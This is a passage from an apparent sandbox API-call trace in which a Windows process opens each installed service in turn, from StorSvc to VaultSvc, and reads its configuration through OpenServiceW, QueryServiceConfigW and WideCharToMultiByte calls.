dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598778, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="storsvc", cchWideChar=7, lpMultiByteStr=0x598778, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="storsvc", lpUsedDefaultChar=0x0) returned 7 [0028.152] OpenServiceW (hSCManager=0x6637d8, lpServiceName="StorSvc", dwDesiredAccess=0x1) returned 0x6638a0 [0028.152] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.152] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.152] GetLastError () returned 0x7a [0028.152] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x122, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5987c0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.152] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="swprv", cchWideChar=5, lpMultiByteStr=0x5987c0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swprv", lpUsedDefaultChar=0x0) returned 5 [0028.153] OpenServiceW (hSCManager=0x6637d8, lpServiceName="swprv", dwDesiredAccess=0x1) returned 0x663968 [0028.153] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.153] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.153] GetLastError () returned 0x7a [0028.153] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x12e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598808, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.153] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysmain", cchWideChar=7, lpMultiByteStr=0x598808, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysmain", lpUsedDefaultChar=0x0) returned 7 [0028.153] OpenServiceW (hSCManager=0x6637d8, lpServiceName="SysMain", dwDesiredAccess=0x1) returned 0x6638c8 [0028.154] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.154] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.154] GetLastError () returned 0x7a [0028.154] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x134, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598850, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletinputservice", cchWideChar=18, lpMultiByteStr=0x598850, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletinputservice", lpUsedDefaultChar=0x0) returned 18 [0028.159] OpenServiceW (hSCManager=0x6637d8, lpServiceName="TabletInputService", dwDesiredAccess=0x1) returned 0x6639b8 [0028.159] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.159] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.159] GetLastError () returned 0x7a [0028.159] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x15e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.159] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598898, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tapisrv", cchWideChar=7, lpMultiByteStr=0x598898, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tapisrv", lpUsedDefaultChar=0x0) returned 7 [0028.160] OpenServiceW (hSCManager=0x6637d8, lpServiceName="TapiSrv", dwDesiredAccess=0x1) returned 0x6638a0 [0028.160] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.160] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.160] GetLastError () returned 0x7a [0028.160] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x136, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5988e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.160] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tbs", cchWideChar=3, lpMultiByteStr=0x5988e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tbs", lpUsedDefaultChar=0x0) returned 3 [0028.161] OpenServiceW (hSCManager=0x6637d8, lpServiceName="TBS", dwDesiredAccess=0x1) returned 0x663968 [0028.162] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.163] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.163] GetLastError () returned 0x7a [0028.163] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x146, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.163] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservice", cchWideChar=11, lpMultiByteStr=0x598928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservice", lpUsedDefaultChar=0x0) returned 11 [0028.163] OpenServiceW (hSCManager=0x6637d8, lpServiceName="TermService", dwDesiredAccess=0x1) returned 0x6638c8 [0028.164] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.164] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.164] GetLastError () returned 0x7a [0028.164] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.164] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="themes", cchWideChar=6, lpMultiByteStr=0x598970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="themes", lpUsedDefaultChar=0x0) returned 6 [0028.164] OpenServiceW (hSCManager=0x6637d8, lpServiceName="Themes", dwDesiredAccess=0x1) returned 0x6639b8 [0028.164] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.165] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.165] GetLastError () returned 0x7a [0028.165] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x100, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x5989b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="threadorder", cchWideChar=11, lpMultiByteStr=0x5989b8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="threadorder", lpUsedDefaultChar=0x0) returned 11 [0028.165] OpenServiceW (hSCManager=0x6637d8, lpServiceName="THREADORDER", dwDesiredAccess=0x1) returned 0x6638a0 [0028.165] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.165] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.166] GetLastError () returned 0x7a [0028.166] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x12c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.166] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trkwks", cchWideChar=6, lpMultiByteStr=0x598a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trkwks", lpUsedDefaultChar=0x0) returned 6 [0028.166] OpenServiceW (hSCManager=0x6637d8, lpServiceName="TrkWks", dwDesiredAccess=0x1) returned 0x663968 [0028.166] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.166] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.166] GetLastError () returned 0x7a [0028.166] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x14e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0028.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller", cchWideChar=16, lpMultiByteStr=0x598a48, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller", lpUsedDefaultChar=0x0) returned 16 [0028.167] OpenServiceW (hSCManager=0x6637d8, lpServiceName="TrustedInstaller", dwDesiredAccess=0x1) returned 0x6638c8 [0028.167] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.167] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.167] GetLastError () returned 0x7a [0028.167] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x124, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="trustedinstaller.exe", cchWideChar=20, lpMultiByteStr=0x598a90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="trustedinstaller.exe", lpUsedDefaultChar=0x0) returned 20 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect", cchWideChar=9, lpMultiByteStr=0x598a90, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect", lpUsedDefaultChar=0x0) returned 9 [0028.168] OpenServiceW (hSCManager=0x6637d8, lpServiceName="UI0Detect", dwDesiredAccess=0x1) returned 0x6639b8 [0028.168] CloseServiceHandle (hSCObject=0x6638c8) returned 1 [0028.168] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.168] GetLastError () returned 0x7a [0028.168] QueryServiceConfigW (in: hService=0x6639b8, lpServiceConfig=0x502850, cbBufSize=0x104, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ui0detect.exe", cchWideChar=13, lpMultiByteStr=0x598ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ui0detect.exe", lpUsedDefaultChar=0x0) returned 13 [0028.168] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.169] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="umrdpservice", cchWideChar=12, lpMultiByteStr=0x598ad8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="umrdpservice", lpUsedDefaultChar=0x0) returned 12 [0028.169] OpenServiceW (hSCManager=0x6637d8, lpServiceName="UmRdpService", dwDesiredAccess=0x1) returned 0x6638a0 [0028.169] CloseServiceHandle (hSCObject=0x6639b8) returned 1 [0028.183] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.183] GetLastError () returned 0x7a [0028.183] QueryServiceConfigW (in: hService=0x6638a0, lpServiceConfig=0x502850, cbBufSize=0x186, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598b20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnphost", cchWideChar=8, lpMultiByteStr=0x598b20, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnphost", lpUsedDefaultChar=0x0) returned 8 [0028.183] OpenServiceW (hSCManager=0x6637d8, lpServiceName="upnphost", dwDesiredAccess=0x1) returned 0x663968 [0028.184] CloseServiceHandle (hSCObject=0x6638a0) returned 1 [0028.184] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.184] GetLastError () returned 0x7a [0028.184] QueryServiceConfigW (in: hService=0x663968, lpServiceConfig=0x502850, cbBufSize=0x15c, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="uxsms", cchWideChar=5, lpMultiByteStr=0x598b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uxsms", lpUsedDefaultChar=0x0) returned 5 [0028.184] OpenServiceW (hSCManager=0x6637d8, lpServiceName="UxSms", dwDesiredAccess=0x1) returned 0x6638c8 [0028.185] CloseServiceHandle (hSCObject=0x663968) returned 1 [0028.185] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x34f468) returned 0 [0028.185] GetLastError () returned 0x7a [0028.185] QueryServiceConfigW (in: hService=0x6638c8, lpServiceConfig=0x502850, cbBufSize=0x15e, pcbBytesNeeded=0x34f468 | out: lpServiceConfig=0x502850, pcbBytesNeeded=0x34f468) returned 1 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x598bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0028.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vaultsvc", cchWideChar=8, lpMultiByteStr=0x598bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vaultsvc", lpUsedDefaultChar=0x0) returned 8 [0028.186] OpenServiceW (hSCManager=0x6637d8, lpServiceName="VaultSvc", dwDesiredAccess=0x1) returned 0x6639b8 [0028.186] 